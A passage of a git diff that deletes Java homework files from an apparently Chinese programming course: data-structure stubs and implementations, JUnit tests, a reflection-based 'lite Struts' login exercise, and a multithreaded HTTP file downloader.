-            if (responseCode != 200) {
-                throw new ConnectionException("连接到" + url.toURI() + "失败");
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    public byte[] read(int startPos, int endPos) throws IOException {
-        try {
-            //设置读取段落
-            this.conn = (HttpURLConnection) url.openConnection();
-            this.conn.setRequestMethod("GET");
-            this.conn.setReadTimeout(5000);
-            this.conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-            //获取返回值
-            int response = conn.getResponseCode();
-            if(response != 200 && response != 206){
-                throw new ConnectException("没有连接上" + url.toURI() + ", 状态码为" + response);
-            }
-            //开始读取
-            int length = endPos - startPos + 1;
-            this.is = conn.getInputStream();
-            byte[] buffer = new byte[1024];
-            baos = new ByteArrayOutputStream(length);
-            while(-1 != is.read(buffer)){
-                baos.write(buffer);
-            }
-            System.out.println(startPos + "-" + endPos + "文件段读取完成");
-            return baos.toByteArray();
-        } catch (Exception e) {
-            e.printStackTrace();
-            return null;
-        } finally {
-            this.close();
-        }
-    }
-
-    public int getContentLength() {
-        try {
-            this.length = this.conn.getContentLength();
-            System.out.println("获取的文件长度=" + length);
-            return this.length;
-        } catch (Exception e) {
-            e.printStackTrace();
-            return -1;
-        }
-    }
-
-    public void close() {
-        try {
-            if(is != null){
-                is.close();
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index ede8ccac00..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package thread.download.impl;
-
-import thread.download.api.Connection;
-import thread.download.api.ConnectionException;
-import thread.download.api.ConnectionManager;
-
-import java.net.URL;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	public Connection open(String url) throws ConnectionException {
-		Connection conn = null;
-		try{
-			conn = new ConnectionImpl(new URL(url));
-		}catch(Exception e){
-		    e.printStackTrace();
-		}
-		return conn;
-	}
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java b/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java
deleted file mode 100644
index ee8ee6b0d0..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package data_structure;
-
-import org.junit.Test;
-import basic.dataStructure.ArrayList;
-
-/**
- * Created by macvi on 2017/4/2.
- */
-public class ArrayListTest {
-
-    @Test
-    public void TestAdd(){
-        ArrayList al = new ArrayList();
-        for(int i = 0; i < 32; i++){
-            al.add(i + "");
-        }
-
-        System.out.println("ArrayList.content-->" + al.toString());
-    }
-
-
-    @Test
-    public void testIndexAdd(){
-        ArrayList al = new ArrayList();
-        for(int i = 0; i < 17; i ++){
-            al.add(i + "");
-        }
-
-        al.add(3, "xxoo");
-        al.add(11, "abcd");
-        al.add(0, "efgh");
-        al.add(al.size(), "ijkl");
-
-        System.out.println("al.toString-->" + al.toString());
-        System.out.println("size-->" + al.size());
-    }
-
-    @Test
-    public void testGet(){
-        ArrayList al = new ArrayList();
-        for(int i = 0; i < 18; i ++){
-            al.add(i + "zxcd");
-        }
-
-        System.out.println("get-->" + al.get(13));
-    }
-
-    @Test
-    public void testRemove(){
-        ArrayList al = new ArrayList();
-        for(int i = 0; i < 18; i ++){
-            al.add(i + "");
-        }
-        System.out.println("size1-->" + al.size());
-        System.out.println("al.toString1-->" + al.toString());
-        String re = (String)al.remove(12);
-        System.out.println("remove index=12 :");
-        System.out.println("re-->" + re);
-        System.out.println("size2-->" + al.size());
-        System.out.println("al.toString2-->" + al.toString());
-
-        String re1 = (String)al.remove(1);
-        System.out.println("remove index=1 :");
-        System.out.println("re-->" + re1);
-        System.out.println("size2-->" + al.size());
-        System.out.println("al.toString2-->" + al.toString());
-    }
-
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java b/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java
deleted file mode 100644
index 1dc1a6f263..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package data_structure;
-
-import org.junit.Test;
-import basic.dataStructure.ArrayUtil;
-
-import java.util.Arrays;
-
-/**
- * @author : 温友朝
- * @date : 2017/4/5
- */
-public class ArrayUtilTest {
-    ArrayUtil au = new ArrayUtil();
-
-    @Test
-    public void testReverse(){
-        int[] arr = {1, 2, 3, 4, 5};
-        this.au.reverseArray(arr);
-    }
-
-    @Test
-    public void testTrim(){
-        int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-        int[] arr = this.au.removeZero(oldArr);
-        System.out.println(Arrays.toString(arr));
-    }
-
-    @Test
-    public void testMerge(){
-        int[] a1 = {3, 5, 7,8};
-        int[] a2 = {4, 5, 6,7};
-
-        int[] arr = this.au.merge(a1, a2);
-        System.out.println(Arrays.toString(arr));
-    }
-
-    @Test
-    public void testGrow(){
-        int[] arr = {1, 2, 3, 4, 5};
-        int[] arr2 = this.au.grow(arr, 4);
-        System.out.println(Arrays.toString(arr2));
-    }
-
-    @Test
-    public void testFibonacci(){
-        int[] arr = this.au.fibonacci(100);
-        System.out.println(Arrays.toString(arr));
-    }
-
-    @Test
-    public void testPrimes(){
-        int[] arr = this.au.getPrimes(100000);
-        System.out.println(Arrays.toString(arr));
-    }
-
-    @Test
-    public void testPerfectNumbers(){
-        int[] arr = this.au.getPerfectNumbers(10000);
-        System.out.println(Arrays.toString(arr));
-    }
-
-    @Test
-    public void testJoin(){
-        int[] arr = this.au.getPerfectNumbers(10000);
-        System.out.println(this.au.join(arr, "-"));
-    }
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java b/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java
deleted file mode 100644
index df976147e3..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package data_structure;
-
-import org.junit.Test;
-import basic.dataStructure.BinaryTreeNode;
-
-/**
- * @author : 温友朝
- * @date : 2017/4/5
- */
-public class BinaryNodeTreeTest {
-
-//    @Test
-//    public BinaryTreeNode getTree(){
-//        BinaryTreeNode btn = new BinaryTreeNode(5);
-//        btn.setData(3);
-//
-//        return btn;
-//    }
-
-    @Test
-    public void testAdd(){
-        BinaryTreeNode btn = new BinaryTreeNode(5);
-        btn.setData(3);
-        btn.setData(7);
-        btn.setData(10);
-        btn.setData(6);
-        btn.setData(4);
-    }
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java b/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java
deleted file mode 100644
index c98a305623..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-package data_structure;
-
-import basic.dataStructure.LinkedList;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.Arrays;
-
-/**
- * Created by macvi on 2017/4/3.
- */
-public class LinkedListTest {
-
-    LinkedList ll = new LinkedList();
-
-    @Before
-    public void init(){
-        for(int i = 0; i < 10; i++){
-            ll.add(i);
-        }
-    }
-
-    @After
-    public void print(){
-
-    }
-
-
-    @Test
-    public void testLinkedListAdd(){
-       LinkedList ll = new LinkedList();
-       ll.add("123");
-       ll.add("456");
-       ll.add("asdf");
-       ll.add("zxcv");
-
-
-       System.out.println("ll.toString-->" + ll);
-       System.out.println("ll.size--->" + ll.size());
-    }
-
-    @Test
-    public void testLinkedListIndexAdd(){
-        System.out.println("12345");
-    }
-
-    @Test
-    public void testGet(){
-        LinkedList ll = new LinkedList();
-        for(int i = 0; i < 10; i ++){
-            ll.add(i + "");
-        }
-
-        System.out.println("get-->" + ll.get(9));
-        System.out.println("ll.toString-->" + ll.toString() + "\nsize-->" + ll.size());
-    }
-
-    @Test
-    public void testIndexAdd(){
-        LinkedList ll = new LinkedList();
-        for(int i = 0; i < 5; i ++){
-            ll.add(i + "");
-        }
-
-        ll.add(5, "xxoo");
-        System.out.println("index get-->" + ll.get(0));
-        System.out.println("ll.toString2-->" + ll.toString() + "\nsize-->" + ll.size());
-    }
-
-    @Test
-    public void testRemove(){
-        LinkedList ll = new LinkedList();
-        for(int i = 0; i < 6; i ++){
-            ll.add(i + "");
-        }
-
-        Object removed = ll.remove(-1);
-        System.out.println("ll.toString-->" + ll.toString() + "\nsize-->" + ll.size());
-        System.out.println("removed-->" + removed.toString());
-    }
-
-    @Test
-    public void testReverse(){
-        ll.reverse();
-        System.out.println("ll.reverse-->" + ll.toString());
-    }
-
-    @Test
-    public void testRemoveFirstHalf(){
-        ll.removeFirstHalf();
-        System.out.println("ll.removeFirstHalf-->" + ll.toString());
-    }
-
-    @Test
-    public void testRemoveL(){
-        ll.remove(2, 5);
-        System.out.println("ll.toString-->" + ll.toString());
-    }
-
-    @Test
-    public void testGetElements(){
-        LinkedList l2 = new LinkedList();
-        l2.add(3);
-        l2.add(5);
-        l2.add(9);
-        l2.add(0);
-
-        int[] arr = ll.getElements(l2);
-        System.out.println("arr->" + Arrays.toString(arr));
-    }
-
-    @Test
-    public void testRemoveDuplicate(){
-        ll.add(1);
-        ll.add(3);
-        ll.add(4);
-        ll.add(10);
-        ll.add(11);
-        ll.removeDuplicateValues();
-        System.out.println("ll.toString-->" + ll.toString());
-    }
-
-    @Test
-    public void testRemoveRange(){
-        ll.removeRange(2, 6);
-        System.out.println("ll.toString-->" + ll.toString());
-    }
-
-    @Test
-    public void testSubtract(){
-        LinkedList list = new LinkedList();
-        list.add(1);
-        list.add(2);
-        list.add(5);
-
-        ll.subtract(list);
-        System.out.println("ll.toString-->" + ll);
-    }
-
-    @Test
-    public void testIntersection(){
-        LinkedList list = new LinkedList();
-        list.add(1);
-        list.add(2);
-        list.add(5);
-
-        LinkedList list2 = ll.intersection(list);
-        System.out.println(list2);
-    }
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java b/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java
deleted file mode 100644
index 3db6d82e49..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package data_structure;
-
-import org.junit.Assert;
-import org.junit.Test;
-import basic.dataStructure.Queue;
-
-/**
- * Created by macvi on 2017/4/4.
- */
-public class QueueTest {
-
-    private Queue newQueue(){
-        Queue q = new Queue();
-        for(int i = 0; i < 13; i++){
-            q.enQueue(i + "");
-        }
-
-        return q;
-    }
-
-    @Test
-    public void testEnqueue(){
-        Queue q = newQueue();
-        q.enQueue(10 + "");
-        q.enQueue( "xxoo");
-        System.out.println("queue-->" + q.toString());
-    }
-
-    @Test
-    public void testSize(){
-        Queue q = newQueue();
-
-        Assert.assertEquals(13, q.size());
-    }
-
-    @Test
-    public void testDequeue(){
-        Queue q = newQueue();
-        Object obj = q.deQueue();
-
-        Assert.assertEquals("0", obj);
-    }
-
-    @Test
-    public void testIsEmpty(){
-        Queue q = newQueue();
-
-        Assert.assertEquals(false, q.isEmpty());
-    }
-}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java b/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java
deleted file mode 100644
index b933b8b63e..0000000000
--- a/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package data_structure;
-
-import org.junit.Assert;
-import org.junit.Test;
-import basic.dataStructure.Stack;
-
-/**
- * Created by macvi on 2017/4/4.
- */
-public class StackTest {
-
-    private Stack getStack(){
-        Stack s = new Stack();
-        for(int i = 0; i < 14; i ++){
-            s.push(i + "");
-        }
-
-        return s;
-    }
-
-    @Test
-    public void pushTest(){
-        Stack s = getStack();
-
-        System.out.println("stack-->" + s.toString());
-    }
-
-    @Test
-    public void testSize(){
-        Stack s = getStack();
-
-        Assert.assertEquals(14, s.size());
-    }
-
-    @Test
-    public void testPeek(){
-        Stack s = getStack();
-
-        Assert.assertEquals("13", s.peek());
-    }
-
-    @Test
-    public void testPop(){
-        Stack s = getStack();
-
-        Assert.assertEquals("13", s.pop());
-        Assert.assertEquals(13, s.size());
-    }
-}
diff --git a/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java b/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java
deleted file mode 100644
index 0dc8536269..0000000000
--- a/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import thread.download.FileDownloader;
-import thread.download.api.ConnectionManager;
-import thread.download.api.DownloadListener;
-import thread.download.impl.ConnectionManagerImpl;
-
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "https://www.baidu.com/img/bd_logo1.png";
-		String fileLocation = "D:\\Tee\\JavaLearnin\\test.png";
-		FileDownloader downloader = new FileDownloader(url, fileLocation);
-
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-
-		downloader.setListener(new DownloadListener() {
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		downloader.execute();
-
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-	}
-
-}
diff --git a/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java b/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java
deleted file mode 100644
index 4477c5f51b..0000000000
--- a/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package liteStruts;
-
-import org.junit.Assert;
-import org.junit.Test;
-import basic.liteStruts.Struts;
-import basic.liteStruts.View;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group24/Homework/1-FirstWeek/ArrayList.java b/group24/Homework/1-FirstWeek/ArrayList.java
deleted file mode 100644
index 4576c016af..0000000000
--- a/group24/Homework/1-FirstWeek/ArrayList.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.basic.array;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group24/Homework/1-FirstWeek/Iterator.java b/group24/Homework/1-FirstWeek/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group24/Homework/1-FirstWeek/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group24/Homework/1-FirstWeek/LinkedList.java b/group24/Homework/1-FirstWeek/LinkedList.java
deleted file mode 100644
index f4c7556a2e..0000000000
--- a/group24/Homework/1-FirstWeek/LinkedList.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.coding.basic.linklist;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group24/Homework/1-FirstWeek/Queue.java b/group24/Homework/1-FirstWeek/Queue.java
deleted file mode 100644
index c4c4b7325e..0000000000
--- a/group24/Homework/1-FirstWeek/Queue.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;    
-    private Node<E> last;     
-    private int size;               
-
-    
-    private static class Node<E> {
-        private E item;
-        private Node<E> next;
-    }
-
-    
-    public Queue() {
-        first = null;
-        last  = null;
-        size = 0;
-    }
-
-    
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    
-
-    public void enQueue(E data) {
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if (isEmpty()) {
-        	first = last;
-        }
-        else{
-        	oldlast.next = last;
-        }
-        size++;
-    }
-
-    public E deQueue() {
-        if (isEmpty()) {
-        	throw new NoSuchElementException("Queue underflow");
-        }
-        E item = first.item;
-        first = first.next;
-        size--;
-        if (isEmpty()) {
-        	last = null;  
-        }
-        return item;
-    }
-
-}
diff --git a/group24/Homework/1-FirstWeek/Stack.java b/group24/Homework/1-FirstWeek/Stack.java
deleted file mode 100644
index fedb243604..0000000000
--- a/group24/Homework/1-FirstWeek/Stack.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coding.basic.stack;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group24/Homework/2-SecondWeek/litestruts/LoginAction.java b/group24/Homework/2-SecondWeek/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group24/Homework/2-SecondWeek/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group24/Homework/2-SecondWeek/litestruts/Struts.java b/group24/Homework/2-SecondWeek/litestruts/Struts.java
deleted file mode 100644
index 85e2e22de3..0000000000
--- a/group24/Homework/2-SecondWeek/litestruts/Struts.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-
-
-public class Struts {
-
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    	return null;
-    }    
-
-}
diff --git a/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java b/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java
deleted file mode 100644
index b8c81faf3c..0000000000
--- a/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group24/Homework/2-SecondWeek/litestruts/View.java b/group24/Homework/2-SecondWeek/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group24/Homework/2-SecondWeek/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group24/Homework/3-ThirdWeek/LinkedList.java b/group24/Homework/3-ThirdWeek/LinkedList.java
deleted file mode 100644
index f4c7556a2e..0000000000
--- a/group24/Homework/3-ThirdWeek/LinkedList.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.coding.basic.linklist;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group24/Homework/3-ThirdWeek/download/DownloadThread.java b/group24/Homework/3-ThirdWeek/download/DownloadThread.java
deleted file mode 100644
index 900a3ad358..0000000000
--- a/group24/Homework/3-ThirdWeek/download/DownloadThread.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		
-	}
-}
diff --git a/group24/Homework/3-ThirdWeek/download/FileDownloader.java b/group24/Homework/3-ThirdWeek/download/FileDownloader.java
deleted file mode 100644
index c3c8a3f27d..0000000000
--- a/group24/Homework/3-ThirdWeek/download/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
